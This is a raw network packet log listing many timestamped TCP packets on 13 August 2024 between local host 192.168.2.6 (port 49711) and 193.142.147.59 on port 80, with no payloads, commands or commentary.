Aug 13, 2024 10:21:16.471858978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.471885920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472105026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472146034 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472152948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472163916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472191095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472202063 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472357988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472368956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472381115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472393036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472398996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472429037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472434998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472461939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472620964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472661018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472678900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472688913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472697973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472738028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472738028 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472882032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472893953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472913027 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472944975 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.472980976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.472991943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473007917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473015070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473018885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473028898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473033905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473038912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473052025 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473077059 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473253012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473263025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473290920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473310947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473325014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473336935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473347902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473359108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473361969 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473375082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473392963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473757982 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473768950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473778963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473788977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473799944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473802090 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473810911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473820925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473838091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473848104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473864079 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473874092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473875046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473886013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473887920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473897934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473906040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473907948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473920107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473932028 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.473934889 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473947048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.473975897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.474414110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474426031 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474436998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474448919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474457026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.474459887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474472046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474482059 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474487066 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.474493980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.474512100 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.474529982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487087011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487104893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487117052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487128973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487132072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487154007 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487162113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487174034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487190962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487214088 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487298965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487310886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487320900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487332106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487337112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487368107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487554073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487565994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487576008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487587929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487587929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487598896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487610102 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487617970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487621069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487632990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487643957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.487647057 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487663984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.487690926 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488080978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488095045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488106012 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488117933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488116980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488128901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488132000 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488141060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488149881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488152027 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488163948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488173962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488176107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488185883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488192081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488198042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488209963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488229990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488755941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488769054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488779068 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488790035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488800049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488800049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488811970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488820076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488823891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488833904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488845110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488846064 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488854885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488863945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488873005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488883972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488893986 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488898993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488905907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488917112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488924980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488929033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488938093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488941908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488951921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.488954067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.488981962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.489006042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.560381889 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.560506105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.560957909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.560972929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.560993910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561005116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561013937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561016083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561047077 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561094046 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561213017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561224937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561237097 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561249971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561258078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561269999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561300039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561369896 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561379910 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561391115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561403036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561413050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561414957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561427116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561439037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561444998 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561450005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561463118 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561463118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561487913 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561503887 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561919928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561930895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561940908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561952114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561963081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561964035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561974049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561985016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.561991930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.561995983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562009096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562011003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562020063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562030077 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562031031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562041044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562048912 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562052011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562063932 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562072992 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562073946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562086105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562097073 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562103033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562114954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562120914 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562125921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562138081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562145948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562175989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562870026 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562881947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562891960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562902927 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562912941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562916994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562928915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562939882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562939882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562951088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562963009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562968016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562973976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562983990 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562985897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.562993050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.562998056 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563003063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563014984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563025951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563029051 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563036919 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563049078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563054085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563060045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563074112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563091993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563116074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563791037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563803911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563813925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563824892 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563836098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563836098 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563846111 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563847065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563858032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563868999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563874006 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563879967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563890934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563893080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563903093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563910961 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563914061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563929081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563935995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.563941956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.563972950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.566427946 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.574676991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574692011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574706078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574749947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.574764013 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.574796915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574809074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574819088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574830055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.574835062 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.574860096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.574883938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575012922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575025082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575035095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575045109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575053930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575059891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575074911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575105906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575289011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575299978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575309038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575320005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575333118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575336933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575346947 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575356007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575359106 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575366974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575377941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575382948 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575392962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575402021 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575406075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575412989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575417042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575439930 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575464964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575927973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575938940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575949907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575959921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575965881 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575969934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575980902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.575982094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.575992107 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576003075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576004982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576016903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576030016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576041937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576070070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576380968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576391935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576404095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576415062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576421976 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576425076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576431990 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.576436996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.576447964 CEST	80	49711	193.142.147.59	192.168.2.6
